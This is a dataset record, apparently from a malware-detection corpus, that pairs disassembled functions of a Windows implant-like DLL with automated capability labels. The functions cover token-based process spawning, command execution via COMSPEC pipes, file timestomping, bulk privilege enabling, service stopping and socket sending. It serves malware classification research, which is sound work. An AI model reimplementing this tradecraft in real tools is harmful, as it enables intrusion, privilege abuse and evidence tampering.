joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002485
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
mov eax, dword [0x1002f010]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x1003b0a0], 1
je 0x100024db
lea eax, [ebp - 0x198]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jge 0x100024c4
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 1
call fcn.10015129
push 0x14
pop edx
mov dword [0x1003b0a0], 1
call fcn.10008e77
mov dword [0x1003b0a4], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100149fd
leave
ret

Function at 0x100032f4
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
call fcn.10002485
call fcn.100024e7
xor esi, esi
cmp dword [ebp + 0xc], esi
jle 0x10003331
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x1000331e
cmp word [eax + 0xa], 4
je 0x10003337
lea eax, [esi + 0x3e8]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, dword [ebp + 0xc]
jl 0x1000330a
xor eax, eax
pop esi
pop ecx
pop ebp
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
jmp 0x10003333

Function at 0x100034bd
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
call fcn.100024e7
xor esi, esi
push edi
lea eax, [ebp - 8]
push eax
push edi
push edi
push 0x10
push dword [ebp + 8]
call sub.DNSAPI.dll_DnsQuery_A
test eax, eax
je 0x100034fe
lea eax, [esi + 0x3e8]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x64
jl 0x100034ce
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
mov eax, dword [ebp - 8]
xor ebx, ebx
cmp dword [eax + 0x18], edi
jbe 0x1000354c
mov dword [ebp - 4], 0x1c
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx + eax]
mov eax, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1000351a
sub eax, esi
mov esi, eax
add edi, esi
cmp edi, 0x400
jge 0x10003558
push esi
push ecx
push dword [ebp + 0xc]
call fcn.10016510
add dword [ebp + 0xc], esi
mov eax, dword [ebp - 8]
add dword [ebp - 4], 4
add esp, 0xc
inc ebx
cmp ebx, dword [eax + 0x18]
jb 0x1000350f
push 1
push eax
call sub.DNSAPI.dll_DnsFree
mov eax, edi
jmp 0x100034f9
push 0xfffffffffffffffe
pop eax
jmp 0x100034f9

Function at 0x1000355d
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.100024e7
xor edi, edi
xor esi, esi
push edi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x1c
push dword [ebp + 8]
call sub.DNSAPI.dll_DnsQuery_A
test eax, eax
je 0x1000359b
lea eax, [esi + 0x3e8]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x64
jl 0x1000356c
or eax, 0xffffffff
pop edi
pop esi
leave
ret
mov eax, dword [ebp - 4]
mov edi, dword [ebp + 0xc]
lea esi, [eax + 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 1
push eax
movsd dword es:[edi], dword [esi]
call sub.DNSAPI.dll_DnsFree
push 0x10
pop eax
jmp 0x10003597
Function at 0x100035b5
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x1002f010]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.10002485
push 0x50
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x100035f8
mov eax, dword [eax + 0xc]
cmp dword [eax], 0
je 0x100035f8
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
jmp 0x100035fd
mov eax, str.unknown
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100149fd
leave
ret

Function at 0x1000361d
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x1002f010]
xor eax, ebp
mov dword [ebp - 4], eax
cmp esi, 0x3ff
mov eax, dword [ebp + 8]
jg 0x10003661
push esi
push eax
lea eax, [ebp - 0x404]
push eax
call fcn.10014c70
add esp, 0xc
lea eax, [ebp - 0x404]
push eax
mov byte [ebp + esi - 0x404], 0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100149fd
leave
ret
Function at 0x100036c8
Capabilities:
Create process on windows
Create process suspended
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.10018090
mov eax, dword [0x1002f010]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x1008], eax
mov eax, dword [ebp + 0xc]
push edi
mov dword [ebp - 0x100c], eax
xor eax, eax
mov edi, 0x7fe
push edi
mov word [ebp - 0x804], ax
xor esi, esi
lea eax, [ebp - 0x802]
mov ebx, ecx
push esi
push eax
mov dword [ebp - 0x1014], ebx
call fcn.10018150
xor eax, eax
push edi
mov word [ebp - 0x1004], ax
lea eax, [ebp - 0x1002]
push esi
push eax
call fcn.10018150
mov eax, dword [0x1003b6b0]
add esp, 0x18
cmp eax, esi
je 0x10003845
cmp dword [ebp + 0x14], esi
jne 0x10003845
push dword [ebp - 0x100c]
push ebx
push esi
push esi
push dword [ebp + 0x10]
push 1
push esi
push esi
push dword [ebp - 0x1008]
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
jne 0x10003806
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x522
jne 0x10003829
push esi
push dword [ebp - 0x1008]
mov dword [ebx + 8], esi
push esi
call fcn.100155df
add esp, 0xc
cmp eax, 0xffffffff
je 0x10003818
mov edi, 0x400
cmp eax, edi
ja 0x10003818
inc eax
push eax
push dword [ebp - 0x1008]
lea eax, [ebp - 0x804]
push eax
call fcn.100155df
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
add esp, 0xc
push esi
push esi
call ebx
cmp eax, edi
jae 0x100037d9
lea eax, [ebp - 0x1004]
push eax
push edi
call ebx
lea eax, [ebp - 0x1004]
jmp 0x100037db
mov eax, esi
push dword [ebp - 0x100c]
push dword [ebp - 0x1014]
push eax
push esi
push dword [ebp + 0x10]
lea eax, [ebp - 0x804]
push eax
push esi
push 2
push dword [0x1003b6b0]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
je 0x10003829
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100149fd
leave
ret
push eax
push str.could_not_run_command__w__token__because_of_its_length_of__d_bytes_
call fcn.10001d95
pop ecx
pop ecx
xor eax, eax
jmp 0x10003809
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 0x1008]
push str.could_not_spawn__s__token_:__d
call fcn.10001d95
add esp, 0xc
jmp 0x10003825
push dword [ebp - 0x100c]
push ebx
push esi
push esi
push dword [ebp + 0x10]
push 1
push esi
push esi
push dword [ebp - 0x1008]
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10003806
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 0x1008]
push str.could_not_spawn__s:__d
jmp 0x1000383b
Function at 0x10003975
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
push ebx
push esi
push edi
push 0xa000
xor ebx, ebx
call fcn.10006cdf
mov edx, eax
mov esi, 0x4000
mov dword [ebp - 0x1c], edx
call fcn.10006d81
mov esi, 0x400
mov dword [ebp - 8], eax
call fcn.10006d81
mov dword [ebp - 0x10], eax
call fcn.10006d81
mov dword [ebp - 0x14], eax
call fcn.10006d81
mov dword [ebp - 0xc], eax
call fcn.10006d81
push 0x44
pop edi
push edi
mov dword [ebp - 4], eax
lea eax, [ebp - 0x78]
push ebx
push eax
call fcn.10018150
mov dword [ebp - 0x78], edi
xor eax, eax
lea edi, [ebp - 0x2c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0x10
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push 0x4000
push dword [ebp - 8]
xor eax, eax
push dword [ebp + 0x14]
mov dword [ebp - 0x4c], 0x101
mov word [ebp - 0x48], ax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x70], ebx
call fcn.10003940
push esi
push dword [ebp - 0x14]
push dword [ebp + 0xc]
call fcn.10003940
push esi
push dword [ebp - 0xc]
push dword [ebp + 0x10]
call fcn.10003940
push esi
push dword [ebp - 0x10]
push dword [ebp + 8]
call fcn.10003940
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
add esp, 0x30
push ebx
push ebx
call edi
cmp eax, esi
jae 0x10003a51
push dword [ebp - 4]
push esi
call edi
mov eax, dword [ebp - 4]
jmp 0x10003a53
mov eax, ebx
lea ecx, [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x78]
push ecx
push eax
push ebx
push 0x8000400
push dword [ebp - 8]
push ebx
push 1
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
jne 0x10003a98
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp + 0x14]
push str.could_not_run__s_as__s_s:__d
call fcn.10001d95
add esp, 0x14
mov esi, dword [ebp - 0x1c]
call fcn.10006d21
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10003b6a
Capabilities:
Create pipe
Get comspec environment variable
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x888
mov eax, dword [0x1002f010]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x44
pop edi
push edi
mov dword [ebp - 0x814], eax
xor esi, esi
lea eax, [ebp - 0x884]
mov ebx, ecx
push esi
push eax
mov dword [ebp - 0x818], ebx
call fcn.10018150
mov dword [ebp - 0x884], edi
xor eax, eax
lea edi, [ebp - 0x838]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
push 0x100000
lea eax, [ebp - 0x828]
push eax
lea eax, [ebp - 0x810]
push eax
lea eax, [ebp - 0x81c]
push eax
mov dword [ebp - 0x824], esi
mov dword [ebp - 0x828], 0xc
mov dword [ebp - 0x820], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
lea eax, [ebp - 0x884]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor eax, eax
mov word [ebp - 0x854], ax
mov eax, dword [ebp - 0x810]
mov dword [ebp - 0x84c], esi
mov dword [ebp - 0x848], eax
mov dword [ebp - 0x844], eax
mov esi, 0x400
push esi
lea eax, [ebp - 0x80c]
push eax
push str.COMSPEC
mov dword [ebp - 0x858], 0x101
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov edi, eax
add ebx, edi
lea eax, [ebx + 5]
cmp eax, esi
ja 0x10003d0f
mov esi, dword [ebp - 0x818]
push esi
push dword [ebp - 0x814]
lea eax, [ebp - 0x40c]
push eax
call fcn.10014c70
push edi
lea eax, [ebp - 0x80c]
push eax
lea eax, [ebp - 0x40c]
push eax
mov byte [ebp + esi - 0x40c], 0
call fcn.10014c70
push 4
lea eax, [ebp + edi - 0x40c]
push str.__C
push eax
call fcn.10014c70
push esi
push dword [ebp - 0x814]
lea eax, [ebp + edi - 0x408]
push eax
call fcn.10014c70
push 0
push 0x10
lea eax, [ebp - 0x838]
push eax
lea eax, [ebp - 0x40c]
push eax
lea ecx, [ebp - 0x884]
mov byte [ebp + ebx - 0x408], 0
call fcn.100036c8
add esp, 0x40
test eax, eax
je 0x10003d0f
push 0x2710
push dword [ebp - 0x838]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x810]
lea esi, [ebp - 0x838]
push dword [ebp - 0x81c]
sub esp, 0x10
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.10005e67
add esp, 0x18
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100149fd
leave
ret
Function at 0x10003d1e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, 0x400
push esi
call fcn.10014ae9
mov ebx, eax
pop ecx
test ebx, ebx
je 0x10003db7
push dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x14]
call fcn.10006d33
push esi
push eax
call fcn.10006de8
add esp, 0xc
test eax, eax
jne 0x10003d5c
push ebx
call fcn.10014a0c
jmp 0x10003db6
push dword [ebp + 0x10]
push ebx
call fcn.100156cd
mov esi, eax
pop ecx
pop ecx
cmp esi, 0xffffffff
je 0x10003d9d
test esi, esi
je 0x10003d9d
push esi
lea eax, [ebp - 0x14]
call fcn.10006d9c
push eax
push 1
lea eax, [ebp - 0x14]
call fcn.10001af8
push eax
call fcn.10015846
push esi
call fcn.1001593f
push ebx
call fcn.10014a0c
add esp, 0x18
jmp 0x10003db7
push ebx
call fcn.10014a0c
pop ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.could_not_upload_file:__d
call fcn.10001d95
pop ecx
pop ecx
pop esi
pop ebx
leave
ret

Function at 0x10003dbb
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x834
mov eax, dword [0x1002f010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x3ff
xor ebx, ebx
push esi
lea eax, [ebp - 0x807]
push ebx
push eax
mov byte [ebp - 0x808], bl
call fcn.10018150
push esi
lea eax, [ebp - 0x407]
push ebx
push eax
mov byte [ebp - 0x408], bl
call fcn.10018150
push dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x830]
call fcn.10006d33
inc esi
push esi
push eax
lea ebx, [ebp - 0x808]
call fcn.10006de8
add esp, 0x24
test eax, eax
je 0x10003f3a
lea eax, [ebp - 0x830]
push esi
push eax
lea ebx, [ebp - 0x408]
call fcn.10006de8
pop ecx
pop ecx
test eax, eax
je 0x10003f3a
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
xor ebx, ebx
push ebx
push 0x2000080
push 3
push ebx
push 1
push connect
lea eax, [ebp - 0x808]
push eax
call esi
mov edi, eax
cmp edi, ebx
jne 0x10003e8e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x808]
push eax
push str.could_not_open__s:__d
call fcn.10001d95
add esp, 0xc
jmp 0x10003f3a
lea eax, [ebp - 0x820]
push eax
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x810]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
jne 0x10003eca
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.could_not_get_file_time:__d
call fcn.10001d95
pop ecx
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10003f3a
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push ebx
push 0x2000000
push 3
push ebx
push 2
push 0x40000000
lea eax, [ebp - 0x408]
push eax
call esi
mov esi, eax
cmp esi, ebx
jne 0x10003f04
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x408]
jmp 0x10003e7b
lea eax, [ebp - 0x820]
push eax
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x810]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x10003f37
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.could_not_set_file_time:__d
call fcn.10001d95
pop ecx
pop ecx
push esi
call edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100149fd
leave
ret
Function at 0x10003f49
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x1002f010]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x7ff
lea eax, [ebp - 0x803]
push 0
push eax
mov byte [ebp - 0x804], 0
call fcn.10018150
add esp, 0xc
lea eax, [ebp - 0x804]
push eax
push 0x800
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
jbe 0x10003fa1
push 0x13
push eax
lea eax, [ebp - 0x804]
push eax
call fcn.10001d50
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100149fd
leave
ret

Function at 0x10003fd1
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1002f010]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x10003ff9
or eax, 0xffffffff
jmp 0x1000404a
push str.127.0.0.1
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x10003ff4
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x14]
push eax
call fcn.10016510
add esp, 0xc
push 2
pop eax
push dword [ebp + 8]
mov word [ebp - 0x18], ax
call sub.WS2_32.dll_htons
mov word [ebp - 0x16], ax
push 0x10
lea eax, [ebp - 0x18]
push eax
push esi
call sub.WS2_32.dll_connect
test eax, eax
je 0x10004048
push esi
call sub.WS2_32.dll_closesocket
jmp 0x10003ff4
mov eax, esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
pop esi
call fcn.100149fd
leave
ret

Function at 0x10004057
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1002f010]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x30]
call fcn.10006d33
pop ecx
mov esi, eax
call fcn.10006d44
mov dword [ebp - 0x1c], eax
mov eax, esi
call fcn.10001af8
mov dword [ebp - 0x20], eax
mov eax, esi
call fcn.10006d9c
mov esi, eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
call fcn.10002485
and dword [ebp - 0x14], 0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 0x3e8
push dword [ebp - 0x1c]
call fcn.10003fd1
pop ecx
mov dword [ebp - 0x18], eax
cmp eax, 0xffffffff
jne 0x100040cc
push ebx
call edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xa
jb 0x100040ad
jmp 0x100040e8
push 0
push 8
lea ecx, [ebp - 0x10]
push ecx
push eax
call sub.WS2_32.dll_send
push 0
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x18]
call sub.WS2_32.dll_send
push ebx
call edi
push dword [ebp - 0x18]
call sub.WS2_32.dll_closesocket
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100149fd
leave
ret
Function at 0x10004102
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
mov eax, dword [0x1002f010]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x94], 0
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
push dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov esi, eax
lea eax, [ebp - 0xac]
add esi, 0xea60
call fcn.10006d33
push 0x80
push eax
lea ebx, [ebp - 0x88]
call fcn.10006de8
add esp, 0xc
lea eax, [ebp - 0xac]
call fcn.10001af8
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0xac]
call fcn.10006d9c
mov dword [ebp - 0x90], eax
xor ebx, ebx
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x8c]
call fcn.100061ec
pop ecx
test eax, eax
jne 0x100041db
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x35
je 0x100041b1
call edi
cmp eax, esi
jae 0x100041b1
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0xa
jb 0x10004178
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x88]
push eax
push str.Could_not_connect_to_pipe___s_:__d
call fcn.10001d95
add esp, 0xc
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100149fd
leave
ret
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x98]
push eax
push 4
lea eax, [ebp - 0x90]
push eax
push dword [ebp - 0x8c]
call edi
cmp dword [ebp - 0x90], 0
jbe 0x10004250
mov ebx, 0x2000
mov eax, dword [ebp - 0x90]
mov esi, dword [ebp - 0x94]
sub eax, esi
cmp eax, ebx
jbe 0x1000421d
mov eax, ebx
push 0
lea ecx, [ebp - 0x98]
push ecx
push eax
mov eax, dword [ebp - 0x9c]
add eax, esi
push eax
push dword [ebp - 0x8c]
call edi
test eax, eax
je 0x10004250
add esi, dword [ebp - 0x98]
mov dword [ebp - 0x94], esi
cmp esi, dword [ebp - 0x90]
jb 0x10004209
push dword [ebp - 0x8c]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push dword [ebp - 0x8c]
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push dword [ebp - 0x8c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100041cc
Function at 0x1000459b
Capabilities:
Check for time delay via gettickcount
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push edi
push 8
pop ecx
xor ebx, ebx
push 0xf003f
push ebx
xor eax, eax
mov dword [ebp - 0x34], ebx
lea edi, [ebp - 0x30]
push ebx
rep stosd dword es:[edi], eax
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x10], eax
cmp eax, ebx
jne 0x100045d0
xor eax, eax
jmp 0x10004656
push esi
push 0x24
push dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov dword [ebp - 8], esi
cmp esi, ebx
je 0x10004653
lea eax, [ebp - 0x34]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x10004653
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x24
lea eax, [ebp - 0x34]
push eax
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
call esi
test eax, eax
je 0x10004653
mov ebx, 0x7530
cmp dword [ebp - 0x30], 1
je 0x1000465a
call edi
sub eax, dword [ebp - 0xc]
cmp eax, ebx
ja 0x10004653
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
jbe 0x10004637
mov eax, ebx
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 4]
push eax
push 0x24
lea eax, [ebp - 0x34]
push eax
push 0
push dword [ebp - 8]
call esi
test eax, eax
jne 0x1000461f
xor eax, eax
pop esi
pop edi
pop ebx
leave
ret
push dword [ebp - 8]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push dword [ebp - 0x10]
call esi
xor eax, eax
inc eax
jmp 0x10004655
Function at 0x10004712
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
push ebx
push esi
mov eax, str.SeDebugPrivilege
xor esi, esi
push edi
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], str.SeTcbPrivilege
mov dword [ebp - 0x84], str.SeCreateTokenPrivilege
mov dword [ebp - 0x80], str.SeAssignPrimaryTokenPrivilege
mov dword [ebp - 0x7c], str.SeLockMemoryPrivilege
mov dword [ebp - 0x78], str.SeIncreaseQuotaPrivilege
mov dword [ebp - 0x74], str.SeUnsolicitedInputPrivilege
mov dword [ebp - 0x70], str.SeMachineAccountPrivilege
mov dword [ebp - 0x6c], str.SeSecurityPrivilege
mov dword [ebp - 0x68], str.SeTakeOwnershipPrivilege
mov dword [ebp - 0x64], str.SeLoadDriverPrivilege
mov dword [ebp - 0x60], str.SeSystemProfilePrivilege
mov dword [ebp - 0x5c], str.SeSystemtimePrivilege
mov dword [ebp - 0x58], str.SeProfileSingleProcessPrivilege
mov dword [ebp - 0x54], str.SeIncreaseBasePriorityPrivilege
mov dword [ebp - 0x50], str.SeCreatePagefilePrivilege
mov dword [ebp - 0x4c], str.SeCreatePermanentPrivilege
mov dword [ebp - 0x48], str.SeBackupPrivilege
mov dword [ebp - 0x44], str.SeRestorePrivilege
mov dword [ebp - 0x40], str.SeShutdownPrivilege
mov dword [ebp - 0x3c], str.SeAuditPrivilege
mov dword [ebp - 0x38], str.SeSystemEnvironmentPrivilege
mov dword [ebp - 0x34], str.SeChangeNotifyPrivilege
mov dword [ebp - 0x30], str.SeRemoteShutdownPrivilege
mov dword [ebp - 0x2c], str.SeUndockPrivilege
mov dword [ebp - 0x28], str.SeSyncAgentPrivilege
mov dword [ebp - 0x24], str.SeEnableDelegationPrivilege
mov dword [ebp - 0x20], str.SeManageVolumePrivilege
mov dword [ebp - 0x1c], esi
xor ebx, ebx
mov ecx, eax
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push esi
push esi
push esi
lea eax, [ebp - 0x14]
push eax
push esi
push dword [ebp + 8]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp + ebx*4 - 0x88]
inc ebx
cmp ecx, esi
jne 0x100047f5
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000483a
Capabilities:
Create pipe
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x1002f010]
xor eax, ebp
mov dword [ebp - 4], eax
cmp esi, 0x100
mov eax, dword [ebp + 8]
jge 0x100048be
push ebx
push esi
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.10016510
or dword [0x10031174], 0xffffffff
or dword [0x10030024], 0xffffffff
or dword [0x100312a4], 0xffffffff
add esp, 0xc
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push 2
push 4
push 3
lea eax, [ebp - 0x104]
push eax
mov byte [ebp + esi - 0x104], bl
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [0x10030024], eax
cmp eax, ebx
je 0x100048bd
push ebx
push ebx
push ebx
push 0x1000447b
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x100312a4], eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100149fd
leave
ret